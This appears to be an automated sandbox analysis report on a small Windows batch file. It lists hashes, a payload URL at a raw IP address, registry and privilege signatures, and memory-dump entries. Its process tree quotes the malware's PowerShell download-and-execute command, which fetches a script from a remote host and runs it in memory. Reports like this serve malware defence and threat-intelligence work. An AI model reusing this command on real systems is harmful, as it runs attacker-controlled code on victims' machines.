Analysis
-
max time kernel
144s -
max time network
148s -
platform
windows10_x64 -
resource
win10v191014 -
submitted
13-02-2020 23:10
Static task
static1
Behavioral task
behavioral1
Sample
dTSMxBv5.bat
Resource
win7v200213
Behavioral task
behavioral2
Sample
dTSMxBv5.bat
Resource
win10v191014
General
-
Target
dTSMxBv5.bat
-
Size
190B
-
MD5
b43fc9677f0267630d7259cae180102b
-
SHA1
47b41ad33d7109bec3a432b7dd105153f0ba610b
-
SHA256
656e7d92a11142f16b80b527eee75b122b5c19143c2c21da4c37af0d5bf57d7a
-
SHA512
88804f6050a25e4861b337a9f4db75d21706ab81f15cb1d77b6aa29349e6534af25025cd5ec800f36136124aa37a2f99f241108a7355fcf71bfa6aaac9ffd492
Malware Config
Extracted
http://185.103.242.78/pastes/dTSMxBv5
Signatures
-
Suspicious behavior: EnumeratesProcesses 17 IoCs
Processes:
WerFault.exepid process 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe 5012 WerFault.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WerFault.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
WerFault.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 5012 4932 WerFault.exe powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
WerFault.exedescription pid process Token: SeRestorePrivilege 5012 WerFault.exe Token: SeBackupPrivilege 5012 WerFault.exe Token: SeDebugPrivilege 5012 WerFault.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dTSMxBv5.bat"1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/dTSMxBv5');Invoke-GUHPOFB;Start-Sleep -s 10000"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4932 -s 7043⤵
- Suspicious behavior: EnumeratesProcesses
- Checks processor information in registry
- Enumerates system info in registry
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
\??\c:\windows\system32\taskhostw.exetaskhostw.exe -RegisterDevice -SettingChange -Full1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/5012-0-0x0000000004420000-0x0000000004421000-memory.dmpFilesize
4KB
-
memory/5012-1-0x0000000004AF0000-0x0000000004AF1000-memory.dmpFilesize
4KB
-
memory/5012-8-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-9-0x0000000004BE0000-0x0000000004BE1000-memory.dmpFilesize
4KB
-
memory/5012-10-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-11-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-12-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-13-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-14-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-15-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-16-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-17-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-18-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-19-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-20-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-21-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-22-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-23-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-24-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-25-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-26-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-27-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-28-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-29-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-30-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-31-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-32-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-33-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-34-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-35-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-36-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-37-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-38-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB
-
memory/5012-39-0x0000000000A90000-0x0000000000A91000-memory.dmpFilesize
4KB